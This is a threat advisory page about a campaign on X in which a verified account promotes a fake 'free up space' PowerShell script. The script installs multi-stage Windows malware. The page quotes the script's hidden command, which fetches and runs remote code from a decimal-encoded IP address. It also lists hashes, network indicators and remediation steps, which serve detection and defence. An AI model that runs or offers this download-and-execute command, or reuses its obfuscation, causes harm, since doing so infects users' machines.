---
id: "CMP-202611-anhxfr"
page: "https://infrastack.ai/live/CMP-202611-anhxfr"
kind: "campaign"
aliases: []
title: "Verified X account 'Sofia Black' pushes a fake 'free up space' PowerShell script that downloads multi-stage Windows malware from 81.168.24.109"
severity: "high"
cvss: null
epss: null
exploited: true
status: "open"
category: "other"
products: [{"name": "Windows", "fixed": [], "vendor": "Microsoft"}, {"name": "PowerShell", "fixed": [], "vendor": "Microsoft"}]
ecosystems: []
tags: ["campaign", "early-warning"]
not_affected_if: []
published_at: null
first_seen_at: "2026-11-06T07:19:57+00:00"
updated_at: "2026-11-06T07:21:57+00:00"
sources: [{"source": "analyst", "url": null, "first_seen_at": "2026-11-06T07:19:57+00:00"}]
exploit_sources: []
---

# Verified X account 'Sofia Black' pushes a fake 'free up space' PowerShell script that downloads multi-stage Windows malware from 81.168.24.109

Link for people: https://infrastack.ai/live/CMP-202611-anhxfr (this .md is for agents)

A verified X account named 'Sofia Black' promotes a 'FREE YOUR PC, FREE UP SPACE' PowerShell script. The script hides a download command, iex(curl.exe -s 1369980461/81689), where the decimal number is the IP address 81.168.24.109, so it fetches and runs code from https://81.168.24.109/81689. vx-underground (6 Nov 2026) traced a multi-stage chain: an initial download (IRX), stage two, stage three and a NodeJS payload. The malware family, what it steals, how many people ran it and the start date are unknown. Anyone on Windows who pasted the script is exposed.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- :Windows affected range not listed fixed no fixed version listed
- :PowerShell affected range not listed fixed no fixed version listed

## How to check

Look for posts or messages from X account 'Sofia Black' offering a 'FREE YOUR PC, FREE UP SPACE' PowerShell script. Lure text contains: iex(curl.exe -s 1369980461/81689). Network: connections to 81.168.24.109 (https://81.168.24.109/81689). In PowerShell history and EDR, look for curl.exe -s with a decimal-number host. SHA-256 hashes: initial download (IRX) 50ba5dffde0eacd8d1f48be9b389c1348d1c484bb1740ad119b4207319b13778; stage two 0f2566b570ecb4a01e9b52c4c996e5687f79dbe1351cac82d92b49ade12a82dd; stage three 00f85bb784f3422ca0d959732a58bfceb4457c7adedd1d498ad1759148bb164b. Unexpected Node.js processes after running the script.

## Fix

Never paste PowerShell 'cleanup' or 'speed-up' commands from social media. Block 81.168.24.109. If the script was run: disconnect the machine, treat it as compromised (reimage), and from a clean device change saved browser passwords, revoke sessions and rotate any keys or crypto wallets on that machine.

## Timeline

- 2026-11-06T07:19:57+00:00 analyst

## Documents

- [describes] @vxunderground: > Sofia Black
> verified on X
> the everything app
> FREE YOUR PC, F https://x.com/vxunderground/status/2118599679537483808
- [describes] @vxunderground: Initial download (IRX):
50ba5dffde0eacd8d1f48be9b389c1348d1c484bb1740ad119b42073 https://x.com/vxunderground/status/2118600707880202526

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_